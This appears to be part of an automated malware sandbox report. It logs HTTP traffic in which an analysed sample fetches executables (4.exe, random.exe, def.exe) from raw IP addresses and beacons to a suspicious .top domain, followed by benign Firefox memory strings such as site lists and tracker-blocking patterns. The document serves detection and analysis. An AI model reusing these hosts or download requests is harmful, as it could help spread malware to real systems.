Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /Files/4.exe HTTP/1.1Host: 103.130.147.211
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic HTTP traffic detected: GET /IYhWwFtYdnqYbODzcCzq1732273107 HTTP/1.1Host: home.sevkk17sr.topAccept: */*
Source: global traffic HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlhttps://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MOZ_INSTRUMENT_CUSTOM_ELEMENTSUnknown custom element name (DOMAudioPlaybackBlockStartedhttps://www.aliexpress.com/[addon]google@search.mozilla.orgBrowser:PurgeSessionHistoryhttps://www.amazon.co.uk/dom.beforeunload_timeout_msmain/nimbus-desktop-experimentsrs-experiment-loader-timerhttps://www.facebook.com/https://www.leboncoin.fr/bound onEnabledPrefChangeimages/aliexpress-com@2x.pngwikipedia@search.mozilla.org equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate|date - profileAgeCreated|date) / 3600000 <= 24)) && (version|versionCompare('116.!') >= 0) equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate|date - profileAgeCreated|date) / 3600000 <= 24)) && (version|versionCompare('116.!') >= 0) equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: WHERE UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/data/ua_overrides.jsmoz-extension://bfdd6cf3-6cd6-4fa2-bc72-2c3d2e7d20f8/lib/intervention_helpers.jsYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.It looks like you are passing several store enhancers to createStore(). This is not supported. Instead, compose them together to a single functionhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/(browserSettings.update.channel == "release") && (!((currentDate|date - profileAgeCreated|date) / 3600000 <= 24)) && (version|versionCompare('116.!') >= 0) equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://libs.coremetrics.com/eluminate.js*://auth.9c9media.ca/auth/main.js*://www.googletagmanager.com/gtm.js**://ssl.google-analytics.com/ga.js*://connect.facebook.net/*/all.js**://web-assets.toggl.com/app/assets/scripts/*.js*://s0.2mdn.net/instream/html5/ima3.jspictureinpicture%40mozilla.org:1.0.0webcompat-reporter%40mozilla.org:1.5.1*://www.google-analytics.com/plugins/ua/ec.js*://www.googletagservices.com/tag/js/gpt.js**://www.google-analytics.com/gtm/js**://pub.doubleverify.com/signals/pub.js*webcompat-reporter@mozilla.org.xpiFileUtils_closeSafeFileOutputStream*://static.chartbeat.com/js/chartbeat_video.js*://*.imgur.com/js/vendor.*.bundle.js*://www.rva311.com/static/js/main.*.chunk.js*://imasdk.googleapis.com/js/sdkloader/ima3.js*://www.google-analytics.com/analytics.js**://www.everestjs.net/static/st.v3.js*FileUtils_closeAtomicFileOutputStream*://static.chartbeat.com/js/chartbeat.js@mozilla.org/addons/addon-manager-startup;1https://smartblock.firefox.etp/facebook.svg*://*.imgur.io/js/vendor.*.bundle.js*://static.criteo.net/js/ld/publishertag.js*://connect.facebook.net/*/sdk.js**://c.amazon-adsystem.com/aax2/apstag.js*://track.adform.net/serving/scripts/trackpoint/https://smartblock.firefox.etp/play.svg*://cdn.branch.io/branch-latest.min.js**://*.moatads.com/*/moatheader.js**://static.adsafeprotected.com/iasPET.1.jsensureShutdownBlocker/fetchState/< equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://pubads.g.doubleclick.net/gampad/*xml_vmap2*resource://builtin-addons/search-detection/addons-search-detection%40mozilla.com:2.0.0*://www.facebook.com/platform/impression.php**://vast.adsafeprotected.com/vast**://trends.google.com/trends/embed**://*.adsafeprotected.com/*/imp/*--panel-banner-item-update-supported-bgcolorunavailable:FEATURE_FAILURE_D2D_D3D11_COMP equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3196317991.000002A113549000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3160186876.000002A11117E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112336000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A11886E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3160186876.000002A11117E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A11886E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3164584285.000002A1113D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A1113C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187767673.000002A112A6C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/(currentDate|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' | preferenceValue == truehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA73000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionUpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:selectUpdate - skipping update because the update's application version is not greater than the current application versionUpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedDownloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000017.00000002.3187209410.000002A11290A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3187209410.000002A112908000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA55000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA55000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
